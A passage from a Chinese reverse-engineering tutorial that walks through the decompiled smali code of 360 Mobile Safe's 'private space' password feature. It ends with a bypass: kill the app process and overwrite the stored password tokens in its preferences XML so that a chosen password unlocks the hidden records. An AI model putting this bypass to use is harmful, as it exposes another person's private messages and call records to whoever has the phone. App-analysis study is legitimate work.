Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->f:Landroid/preference/ListPreference; const-string v1, "private_auto_sms_content" const v2, 0x7f070017 invoke-direct {p0, v0, v1, v2}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a(Landroid/preference/ListPreference;Ljava/lang/String;I)V #调用a()返回一个ListPreference invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getResources()Landroid/content/res/Resources; move-result-object v0 const v1, 0x7f0b0017 invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getString(I)Ljava/lang/String; #获取一个字符串 move-result-object v0 iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->g:Ljava/lang/String; #将字符串赋值给g成员变量 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreferenceScreen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "private_mainmenu_title" invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference; move-result-object v0 #获取主菜单标题的Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->e:Landroid/preference/Preference; #将Preference赋值给e成员变量 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->e:Landroid/preference/Preference; if-eqz v0, :cond_2 #判断是否为空 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->e:Landroid/preference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedPreferences; move-result-object v0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(Landroid/content/SharedPreferences$OnSharedPreferenceChangeListener;)V #registerOnSharedPreferenceChangeListener注册监听器 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->e:Landroid/preference/Preference; new-instance v1, Lagr; # ☻new一个agr对象 ☻ invoke-direct {v1, p0}, Lagr;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V invoke-virtual {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preference/Preference$OnPreferenceClickListener;)V #设置监听器 :cond_2 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreferenceScreen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "private_pwd" invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference; move-result-object v0 #查找隐私密码List的Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a:Landroid/preference/Preference; iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a:Landroid/preference/Preference; if-eqz v0, :cond_3 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a:Landroid/preference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedPreferences; move-result-object v0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(Landroid/content/SharedPreferences$OnSharedPreferenceChangeListener;)V #注册监听器 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->a:Landroid/preference/Preference; new-instance v1, Lago; # ☻new一个ago对象 ☻ invoke-direct {v1, p0}, Lago;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V invoke-virtual {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preference/Preference$OnPreferenceClickListener;)V :cond_3 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreferenceScreen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "private_email" invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference; move-result-object v0 #查找密码找回邮箱List的Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->b:Landroid/preference/Preference; #赋值给成员变量b iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->b:Landroid/preference/Preference; if-eqz v0, :cond_4 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->b:Landroid/preference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedPreferences; move-result-object v0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(Landroid/content/SharedPreferences$OnSharedPreferenceChangeListener;)V #注册监听器 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->b:Landroid/preference/Preference; new-instance v1, Lagp; # ☻new一个agp对象 ☻ invoke-direct {v1, p0}, Lagp;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V invoke-virtual {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preference/Preference$OnPreferenceClickListener;)V #设置监听器 :cond_4 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreferenceScreen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "user_custom_private_pic" invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference; move-result-object v0 #查找用户自定义“隐私空间”图标List的Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c:Landroid/preference/Preference; #赋值给成员变量c iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c:Landroid/preference/Preference; if-eqz v0, :cond_5 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c:Landroid/preference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedPreferences; move-result-object v0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(Landroid/content/SharedPreferences$OnSharedPreferenceChangeListener;)V iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c:Landroid/preference/Preference; new-instance v1, Lagm; # ☻new一个agm对象 ☻ invoke-direct {v1, p0}, Lagm;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V invoke-virtual {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preference/Preference$OnPreferenceClickListener;)V #设置监听器 :cond_5 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->getPreferenceScreen()Landroid/preference/PreferenceScreen; move-result-object v0 const-string v1, "user_custom_private_pic_call" invoke-virtual {v0, v1}, Landroid/preference/PreferenceScreen;->findPreference(Ljava/lang/CharSequence;)Landroid/preference/Preference; move-result-object v0 #查找用户自定义“隐私空间”电话图标List的Preference iput-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d:Landroid/preference/Preference; #赋值给成员变量d iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d:Landroid/preference/Preference; if-eqz v0, :cond_0 iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d:Landroid/preference/Preference; invoke-virtual {v0}, Landroid/preference/Preference;->getSharedPreferences()Landroid/content/SharedPreferences; move-result-object v0 invoke-interface {v0, p0}, Landroid/content/SharedPreferences;->registerOnSharedPreferenceChangeListener(Landroid/content/SharedPreferences$OnSharedPreferenceChangeListener;)V iget-object v0, p0, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d:Landroid/preference/Preference; new-instance v1, Lagn; # ☻new一个agn对象 ☻ invoke-direct {v1, p0}, Lagn;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V invoke-virtual {v0, v1}, Landroid/preference/Preference;->setOnPreferenceClickListener(Landroid/preference/Preference$OnPreferenceClickListener;)V goto/16 :goto_0 .end method
在“onCreate(Landroid/os/Bundle;)V”方法中可以看到分别对“隐私空间”设置Activity的“更改隐私密码”、“密码保护邮箱”、“主界面显示名称及图标”的点击事件分别设置了监听器,而每个监听器则是new的一个对象,如为“密码保护邮箱”new了一个agp对象,而“更改隐私密码”则new了一个ago对象,ago对象是个什么对象?
通过我对Proguard生成的代码分析经验所得,它应该只是一个普通的监听器方法。Proguard会将一个类中的监听器方法抽取成一个单独而随机的类,而名称与变量的生成规则是按照从“a-z”的方式生成,如第一个类方法会是a(),下一个类方法如果参数与a()不同则是a(xxx),这里的“xxx”就是参数列表,如果下一个方法名不能用a()重载的方式生成,就会用b()方法来表示,同样不能用b()来重载的方法就会用c()来生成,以此类推,变量名也是如此。
下面是ago对象的代码:
.method public constructor <init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V .locals 0 iput-object p1, p0, Lago;->a:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; invoke-direct {p0}, Ljava/lang/Object;-><init>()V return-void .end method .method public onPreferenceClick(Landroid/preference/Preference;)Z .locals 1 iget-object v0, p0, Lago;->a:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; invoke-static {v0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->c(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V # ☻调用PrivateSetupPreference的静态c方法 ☻ const/4 v0, 0x1 return v0 .end method
响应用户点击的代码只是调用了“PrivateSetupPreference->c()”方法,真是让人晕啊,代码又迂回到了“PrivateSetupPreference.smali”中,其它几个agp、agm、agn对象与这里一样,只是分别调用了d()、e()与f()。
.method public static synthetic c(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;)V .locals 0 invoke-direct {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->d()V return-void .end method 在c中又调用了d(),继续看d(),是私有方法哦: .method private d()V .locals 6 invoke-static {p0}, Landroid/view/LayoutInflater;->from(Landroid/content/Context;)Landroid/view/LayoutInflater; move-result-object v0 const v1, 0x7f030046 const/4 v2, 0x0 invoke-virtual {v0, v1, v2}, Landroid/view/LayoutInflater;->inflate(ILandroid/view/ViewGroup;)Landroid/view/View; move-result-object v2 #获取View const v0, 0x7f0a0104 invoke-virtual {v2, v0}, Landroid/view/View;->findViewById(I)Landroid/view/View; move-result-object v0 #☻获取“输入密码”的EditText☻ check-cast v0, Landroid/widget/EditText; const v1, 0x7f0a0105 invoke-virtual {v2, v1}, Landroid/view/View;->findViewById(I)Landroid/view/View; move-result-object v1 #☻获取“确认密码”的EditText☻ check-cast v1, Landroid/widget/EditText; new-instance v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory; const v4, 0x7f0b0065 const v5, 0x7f0b0066 invoke-direct {v3, p0, v4, v5}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;-><init>(Landroid/content/Context;II)V #初始化一个DialogFactory 对象 iget-object v4, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mBtnOK:Landroid/widget/Button; const v5, 0x7f0b0090 invoke-virtual {v4, v5}, Landroid/widget/Button;->setText(I)V #☻设置确认按钮的文本☻ iget-object v4, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mBtnCancel:Landroid/widget/Button; const v5, 0x7f0b0091 invoke-virtual {v4, v5}, Landroid/widget/Button;->setText(I)V #☻设置取消按钮的文本☻ iget-object v4, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mContents:Landroid/widget/LinearLayout; invoke-virtual {v4, v2}, Landroid/widget/LinearLayout;->addView(Landroid/view/View;)V #设置DialogFactory 对象的View const/4 v2, 0x1 invoke-virtual {v3, v2}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->setCancelable(Z)V iget-object v2, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mBtnOK:Landroid/widget/Button; #获取确认按钮对象 new-instance v4, Lagj; # ☻new一个agj对象,实际又是一个监听器对象 ☻ invoke-direct {v4, p0, v0, v1, v3}, Lagj;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;Landroid/widget/EditText;Landroid/widget/EditText;Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;)V #初始化监听器 invoke-virtual {v2, v4}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V #设置确认按钮的监听器 iget-object v0, v3, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->mBtnCancel:Landroid/widget/Button; new-instance v1, Lbv; # ☻new一个bv对象,实际又是一个监听器对象 ☻ invoke-direct {v1, p0, v3}, Lbv;-><init>(Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;)V#初始化监听器 invoke-virtual {v0, v1}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V #设置取消按钮的监听器 invoke-virtual {p0}, Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference;->isFinishing()Z move-result v0 if-nez v0, :cond_0 invoke-virtual {v3}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->show()V #显示出来 :cond_0 return-void .end method
代码我注释的很详细了,关键点也是加黑部分的设置监听器的地方,我们看看“agj.smali”文件:
.method public onClick(Landroid/view/View;)V .locals 3 iget-object v0, p0, Lagj;->a:Landroid/widget/EditText; invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable; move-result-object v0 invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; #☻获取密码 move-result-object v0 iget-object v1, p0, Lagj;->b:Landroid/widget/EditText; invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable; move-result-object v1 invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String; #☻获取确认密码 move-result-object v1 invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z #判断密码是否为空 move-result v2 if-nez v2, :cond_0 invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z #判断确认密码是否为空 move-result v2 if-nez v2, :cond_0 invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z #判断两密码是否相等 move-result v0 if-nez v0, :cond_1 :cond_0 iget-object v0, p0, Lagj;->d:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; const v1, 0x7f0b009d const/4 v2, 0x0 invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;II)Landroid/widget/Toast; move-result-object v0 invoke-virtual {v0}, Landroid/widget/Toast;->show()V #提示密码输入错误 :goto_0 return-void :cond_1 iget-object v0, p0, Lagj;->a:Landroid/widget/EditText; invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable; move-result-object v0 invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; #再次获取密码 move-result-object v0 iget-object v1, p0, Lagj;->d:Lcom/qihoo360/mobilesafe/ui/privatespace/PrivateSetupPreference; invoke-static {v1, v0}, Laue;->g(Landroid/content/Context;Ljava/lang/String;)V # ☻调用g()方法☻ iget-object v0, p0, Lagj;->c:Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory; invoke-virtual {v0}, Lcom/qihoo360/mobilesafe/ui/dialog/DialogFactory;->dismiss()V #退出对话框 goto :goto_0 .end method
处理很简单,如果输入没有错误的话就调用aue->g()方法,然后退出对话框,我们继续跟踪代码:
.method public static g(Landroid/content/Context;Ljava/lang/String;)V .locals 3 sput-object p1, Laue;->u:Ljava/lang/String; invoke-static {p0}, Laue;->p(Landroid/content/Context;)Ljava/lang/String; #☻调用aue-p()方法☻ move-result-object v0 #保存“private_security_token”到v0 invoke-static {p0}, Landroid/preference/PreferenceManager;->getDefaultSharedPreferences(Landroid/content/Context;)Landroid/content/SharedPreferences; move-result-object v1 invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; #获取一个编辑器 move-result-object v1 const-string v2, "private_password_token" #要写入保存的键值 invoke-static {v0, p1}, Lals;->c(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; #☻调用als-c()方法进行加密 move-result-object v0 invoke-interface {v1, v2, v0}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; #调用编辑器的方法写入字符串值 invoke-interface {v1}, Landroid/content/SharedPreferences$Editor;->commit()Z#提交保存 return-void .end method
这里将要保存的密码进行加密后保存,关键点就在于分析aue-p()与als-c()了。这里我再跟下去怕没完没了,说下aue-p()吧,它的作用是写入并保存“private_security_token”,而als-c()方法则传入“private_password_token”与“private_security_token”进行DES加密,最后调用als-a()方法进行位移与运算,最后写入配置文件中。总结下代码的步骤为
PrivateSetupPreference --> ago -->PrivateSetupPreference->c() --> PrivateSetupPreference->d() --> agj --> aue->g( --> als-c() -->als-a()
有兴趣的可以继续研究实现解密出原始密码,这里由于篇幅不再深究。说说破解这个密码的简单方法:在“data/data/com.qihoo360.mobilesafe/share_prefs/com.qihoo360.mobilesafe_preferences.xml”文件中,分别有三组值:
<string name="private_email_token">b71735aa47813612ba59aa88b08b34d4b6149dd3a92649f0</string> <string name="private_security_token">787e5f066142bb876bb332064230e4b3</string> <string name="private_password_token">e76951065ad722c7a3f68f359c7832c419cc7f4a1676be0723c0017892a09e545979e0105aedc6ce</string>
将360进程干掉(方法前面有介绍),将“com.qihoo360.mobilesafe_preferences.xml”文件中这三组键值写入自己已知的值(可事先自己用已知密码与邮箱生成),这样,重启360后就可以用自己设置的密码进入“隐私空间”了,并且里面的记录都还原原本本的存在。
OK!这篇老长的文章终于写完了,说说在写调试程序时的一个小插曲,起先研究开机启动的时候我想到的是在开机启动广播中结束360进程,然后自己创建动态广播,结果,测试时发现安装测试程序后,重启手机刚进入桌面又杯具的重启了,并且进行了一个无限的重启循环(后来明白了,360压根都还没启动,结果360进程肯定会异常了,因为又用了ROOT权限,所有手机就重启了),我对手机进行双WIPE后一样的异常(手机ROOT后我删除掉了一些系统程序,结果不稳定了),根本用不了,由此迎来了这小六的第一次刷机之旅......
源码下载
一、推荐使用迅雷或快车等多线程下载软件下载本站资源。
二、未登录会员无法下载,登录后可获得更多便利功能,若未注册,请先注册。
三、如果服务器暂不能下载请稍后重试!总是不能下载,请点我报错 ,谢谢合作!
四、本站大部分资源是网上搜集或私下交流学习之用,任何涉及商业盈利目的均不得使用,否则产生的一切后果将由您自己承担!本站将不对任何资源负法律责任.如果您发现本站有部分资源侵害了您的权益,请速与我们联系,我们将尽快处理.
五、如有其他问题,请加网站设计交流群(点击这里查看交流群 )进行交流。
六、如需转载本站资源,请注明转载来自并附带链接
七、本站部分资源为加密压缩文件,统一解压密码为:www.aizhanzhe.com
- 1CSS控制文字在Div最底部显示
- 2Thinkphp5如何配置IP+端口访问项目模块
- 3elementUI el-dialog弹框居中
- 4教你如何搭建及优化站点
- 5国内互联网视频行业运营分析
- 6记一次Thinkphp5.1框架mysql数据库崩溃(SQLSTATE [08004] Too many connections)
- 7连接SQL Server数据库提示:Login failed for user 'sa'错误的解决方案
- 8CSS实现悬浮顶部的Div工具栏
- 9service mysql start出错,mysql不能启动,解决mysql: unrecognized service错误
- 10Thinkphp3.2在centos7上设置计划任务的方法